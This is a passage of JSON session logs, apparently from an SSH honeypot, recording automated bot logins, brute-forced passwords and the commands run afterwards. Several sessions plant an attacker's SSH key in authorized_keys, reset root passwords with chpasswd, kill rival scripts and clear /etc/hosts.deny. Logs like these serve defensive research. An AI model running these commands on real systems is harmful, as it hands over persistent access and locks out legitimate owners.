id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:45:35.562696+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:45:35.994136+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:45:36.290605+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:45:37.140748+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:45:37.436914+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:45:38.302211+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T14:45:38.599783+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:45:39.801242+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:45:40.097097+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:45:41.638959+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"aa123321","method":"password","accepted":true,"tier":"other"}]} {"id":"77a80509-2327-42f1-9be4-aa1ceea799b8","name":"deft-diligent-moose","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":53544,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:45:25.119660+00:00","ended_at":"2026-08-26T14:45:26.099795+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"70c552ec-e249-4a01-b28a-9effcb6a8a6f","name":"lawful-lanky-koala","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":53532,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:45:23.537216+00:00","ended_at":"2026-08-26T14:45:24.539169+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"51a1b668-fbdc-429a-b299-8f08552168f5","name":"somber-hidden-osprey","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":62084,"username":"alexandre","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":284,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:43:39.415312+00:00","ended_at":"2026-08-26T14:43:41.429556+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2262,"events":[{"seq":1,"at":"2026-08-26T14:43:20.952259+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:43:21.241616+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:43:25.004174+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:43:25.846374+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:43:26.130441+00:00","kind":"input","latency_ms":null,"data":"echo -e \"alexandre\\nCCWsmPgbngX3\\nCCWsmPgbngX3\"|passwd|bash"},{"seq":6,"at":"2026-08-26T14:43:26.419224+00:00","kind":"input","latency_ms":null,"data":"echo \"alexandre\\nCCWsmPgbngX3\\nCCWsmPgbngX3\\n\"|passwd"},{"seq":7,"at":"2026-08-26T14:43:26.709885+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:43:27.302176+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:43:27.584932+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:43:28.870159+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:43:29.160918+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:43:30.419249+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:43:30.705060+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:43:31.050524+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:43:31.333563+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:43:31.779403+00:00","kind":"output","latency_ms":null,"data":" 14:43:31 up 6 days, 11:33, 0 user, load average: 0.23, 0.19, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:43:32.061244+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:43:32.833336+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:43:33.117689+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:43:33.412777+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:43:33.697247+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:43:34.588426+00:00","kind":"output","latency_ms":null,"data":"top - 14:43:34 up 6 days, 11:33, 0 user, load average: 0.23, 0.19, 0.17\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9532 free, 6355 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:43:34.874063+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:43:35.488812+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:43:35.772911+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:43:36.586268+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:43:36.870741+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:43:37.636617+00:00","kind":"output","latency_ms":null,"data":"alexandre"},{"seq":29,"at":"2026-08-26T14:43:37.920632+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:43:39.133157+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:43:39.416151+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:43:41.347243+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"alexandre","password":"alexandre","method":"password","accepted":true,"tier":"other"}]} {"id":"25a0a3cc-6b87-4329-8f79-00422e0c9e27","name":"dusty-tidal-gazelle","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":58856,"username":"alexandre","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:43:23.962711+00:00","ended_at":"2026-08-26T14:43:24.921138+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"alexandre","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"7c8e7484-75b4-4b82-8634-d2a80e45ceba","name":"muted-arctic-hummingbird","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":62098,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:43:21.845465+00:00","ended_at":"2026-08-26T14:43:23.378692+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"8cec4606-d4d9-4140-bc74-2b5a8e888a1a","name":"scarlet-solar-gerbil","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":51730,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":268,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:41:33.138217+00:00","ended_at":"2026-08-26T14:41:34.797637+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T14:41:15.370166+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:41:15.639130+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:41:19.805904+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:41:20.310946+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:41:20.580961+00:00","kind":"input","latency_ms":null,"data":"echo \"root:qHW7sgVCTzwX\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T14:41:20.850043+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T14:41:21.119152+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:41:21.891494+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:41:22.162356+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:41:23.085491+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:41:23.361599+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:41:24.377209+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:41:24.648782+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:41:25.024701+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:41:25.292487+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:41:25.823367+00:00","kind":"output","latency_ms":null,"data":" 14:41:25 up 6 days, 11:31, 0 user, load average: 0.12, 0.15, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:41:26.090106+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:41:26.628189+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:41:26.897861+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:41:27.740737+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:41:28.009787+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:41:28.841362+00:00","kind":"output","latency_ms":null,"data":"top - 14:41:28 up 6 days, 11:31, 0 user, load average: 0.12, 0.15, 0.13\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:41:29.110217+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:41:29.553720+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:41:29.822540+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:41:30.580534+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:41:30.849463+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:41:31.728618+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T14:41:31.998493+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:41:32.868427+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:41:33.138948+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:41:34.717762+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"5432154321","method":"password","accepted":true,"tier":"other"}]} {"id":"bcbf32ce-d96b-4123-85da-37baac209d51","name":"woven-mindful-wheatear","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":51748,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:41:18.311589+00:00","ended_at":"2026-08-26T14:41:19.728785+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"3a7a3ed4-733f-4519-b6a1-d2e513313658","name":"obsidian-faded-stoat","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":51740,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:41:16.310154+00:00","ended_at":"2026-08-26T14:41:17.784569+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"573b33b6-3eae-458e-b5ca-03759bf9cb6d","name":"loyal-dusty-plover","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":62216,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":292,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:39:21.006538+00:00","ended_at":"2026-08-26T14:39:22.744954+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T14:38:58.389359+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:38:58.688657+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:39:03.825062+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:39:04.618068+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:39:04.910575+00:00","kind":"input","latency_ms":null,"data":"echo \"root:qGAonOYRgvR7\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T14:39:05.200553+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T14:39:05.491200+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:39:05.854634+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:39:06.146378+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:39:07.550329+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:39:07.844215+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:39:08.875194+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:39:09.173771+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:39:09.984253+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:39:10.274828+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:39:10.744234+00:00","kind":"output","latency_ms":null,"data":" 14:39:10 up 6 days, 11:29, 0 user, load average: 0.31, 0.23, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:39:11.037467+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:39:11.674651+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:39:11.964085+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:39:12.956328+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:39:13.246759+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:39:15.261310+00:00","kind":"output","latency_ms":null,"data":"top - 14:39:15 up 6 days, 11:29, 0 user, load average: 0.31, 0.23, 0.22\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:39:15.552570+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:39:16.616109+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:39:16.907530+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:39:17.378210+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:39:17.669201+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:39:19.336857+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T14:39:19.629383+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:39:20.715537+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:39:21.007254+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:39:22.659407+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Abc123456.","method":"password","accepted":true,"tier":"other"}]} {"id":"e79f8092-dfec-4618-93b9-9ccd7fb0ea31","name":"crystal-russet-egret","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":62226,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:39:01.848656+00:00","ended_at":"2026-08-26T14:39:03.738508+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"855446ec-1013-4fd5-882c-3c37d0d9a9a8","name":"northern-tawny-kiwi","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":62224,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:38:59.408595+00:00","ended_at":"2026-08-26T14:39:01.263174+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"bdb39c75-9d9c-411a-a462-848f8b63369a","name":"ashen-humble-finch","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":58144,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":301,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:37:21.409105+00:00","ended_at":"2026-08-26T14:37:22.312259+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T14:36:56.066377+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:36:56.367377+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:37:00.346503+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:37:01.176721+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:37:01.479087+00:00","kind":"input","latency_ms":null,"data":"echo \"root:KT1rTMQFm56d\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T14:37:01.779597+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T14:37:02.081229+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print 